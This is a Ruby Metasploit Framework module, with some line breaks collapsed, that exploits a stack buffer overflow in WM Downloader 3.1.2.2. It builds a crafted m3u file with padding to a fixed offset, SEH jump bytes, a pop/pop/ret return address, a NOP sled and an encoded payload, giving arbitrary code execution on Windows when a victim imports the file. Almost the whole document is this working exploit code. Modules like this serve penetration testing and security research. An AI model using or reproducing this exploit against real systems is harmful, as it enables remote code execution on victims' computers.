### $Id: wm_downloader_m3u.rb 10998 2010-11-11 22:43:22Z jduck $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##
require 'msf/core'class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,'Name' => 'WM Downloader 3.1.2.2 Buffer Overflow','Description'=> %q{
This module exploits a buffer overflow in WM Downloader v3.1.2.2. When
the application is used to import a specially crafted m3u file, a buffer overflow occurs
allowing arbitrary code execution.},'License'=> MSF_LICENSE,'Author' =>
['fdisk',# Original Exploit'dookie'# MSF Module],'Version'=> '$Revision: 10998 $','References' =>
[['OSVDB','66911'],['URL','http://www.exploit-db.com/exploits/14497/'],],'DefaultOptions' =>
{'EXITFUNC' => 'seh','DisablePayloadHandler' => 'true',},'Payload'=>
{'Space'=> 1000,'BadChars' => "\x00\x09\x0a",'StackAdjustment' => -3500
},'Platform' => 'win','Targets'=>
[['Windows Universal',{'Ret' => 0x1001060C,'Offset' => 43480 }],# p/p/r in WDfilter03.dll],'Privileged' => false,'DisclosureDate' => 'Jul 28 2010','DefaultTarget'=> 0))
register_options([
OptString.new('FILENAME',[ false,'The file name.','msf.m3u']),], self.class)end
def exploit
sploit = rand_text_alpha_upper(43480)# Offset for WinXP
sploit << "\xeb\x20\x90\x90"# Jump to the nops after the 2nd offset
sploit << [target.ret].pack('V')# Offset
sploit << rand_text_alpha_upper(16)# Pad to reach the Win7 Offset
sploit << "\xeb\x0C\x90\x90"# Jump over the cruft
sploit << [target.ret].pack('V')# Offset
sploit << "\x90"* 8
sploit << payload.encoded
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(sploit)endend
